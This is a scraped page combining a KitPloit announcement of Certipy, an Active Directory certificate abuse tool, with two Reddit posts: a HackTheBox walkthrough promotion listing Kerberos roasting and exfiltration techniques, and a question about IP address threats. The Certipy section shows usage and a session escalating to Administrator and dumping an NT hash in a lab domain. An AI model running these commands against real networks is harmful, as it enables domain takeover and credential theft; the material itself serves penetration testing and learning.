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KitPloit - PenTest Tools!
Certipy - Python Implementation For Active Directory Certificate Abuse

https://blogger.googleusercontent.com/img/a/AVvXsEjc8nNzh4nZWmYpoJqcyoUTMvyTpGZNv3TS5ce8Ebsn6IpjwA7eK6_p3WG2Vk2Ww7Rh-JX9NC79f8HUmV-YCSpjdXFjx3vvY58jH_wNRfCj3wBtmba4ydzTRfqVXzFcSLNfGhd6KD_eqi3TOxayRho-R6xd9yGGCOuAB_yvUp-_FAOLaVPi-czMP-C9jQ=w640-h202 Certipy is a Python tool to enumerate and abuse misconfigurations in Active Directory Certificate Services (AD CS).

Based on the C# variant Certify from @harmj0y and @tifkin_. Installation$ python3 setup.py installRemember to add the Python scripts directory to your path. Usage$ certipy -h
usage: certipy [-h] [-debug] [-target-ip ip address] [-nameserver nameserver] [-dns-tcp] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-dc-ip ip address]
target {find,req,auth,auto} ...

Active Directory certificate abuse

positional arguments:
target [[domain/]username[:password]@]
ExamplesAutoAutomatically abuse certificate templates for privilege escalation. This action will try to find, request and authenticate as the Administratoruser. Upon success, a credential cache will be saved and the NT hash will be decrypted from the PAC in the TGS_REP.

To demonstrate how easy it is to misconfigure certificate templates, the default certificate template Web Serverhas been copied to Copy of Web Server. The only change was that the EKU Server Authenticationwas removed and that authenticated users are allowed to enroll. This will allow enrollees to specify the subject and use it for client authentication, i.e. authenticate as any user. If no EKUs are specified, then the certificate can be used for all purposes. Alternatively, one could add the Client AuthenticationEKU.

In this example, the user johnis a low privileged user who is allowed to enroll for the Copy of Web Servertemplate. $ certipy 'predator/john:Passw0rd@dc.predator.local' auto
[*] Trying template 'Copy of Web Server' with CA 'predator-DC-CA'
[*] Generating RSA key
[*] Requesting certificate
[*] Request success
[*] Got certificate with UPN 'Administrator'
[*] Saved certificate to '1.crt'
[*] Saved private key to '1.key'
[*] Using UPN: 'Administrator@predator'
[*] Trying to get TGT...
[*] Saved credential cache to 'Administrator.ccache'
[*] Trying to retrieve NT hash for 'Administrator@predator'
[*] Got NT hash for 'Administrator@predator': fc525c9683e8fe067095ba2ddc971889
By default, the user Administratoris chosen. Use the -userp[...]

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hacking: security in practice
HackTheBox | - PivotAPI (Windows | Insane | ActivDir) Video Solution

⭐️ I have started an amateur YouTube Channel@SecAura on Ethical Hacking.

⭐️ So far it’s just HackTheBox content while I find time to put some original content together covering all areas of hacking :) and also find my feet with content creation :)

⭐️ I would love it if anyone could check out my video(s), and provide feedback, and hopefully learn something in the process! :)

🔗 Link attached to the latest retired box video solution - PivotAPI (Windows | Insane | ActivDir) !

https://www.youtube.com/watch?v=nejEQ12RvJ0

Main topics covered:

ASREP roasting (Kerberoasting)

Binary analysis - win API calls

Exfiltration of Binary keepass2 database over MSSQL Command Injection

Multiple BloodHound lateral privilege escalation (GenericWrite / LAPSPASSWORD)

C# Binary analysis in DNSPY/Visual Studio

submitted by /u/SecAura
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hacking: security in practice
How can having someones ip be a threat to them?

Recently I've been seeing all these memes about how sending someone their ip address is threatening. I know those are just meme but I wonder if it's actually a thing. I don't know much about networks and hacking but I know that with ip you can only find out which city people live in and that's not much information.

submitted by /u/mustache-eater
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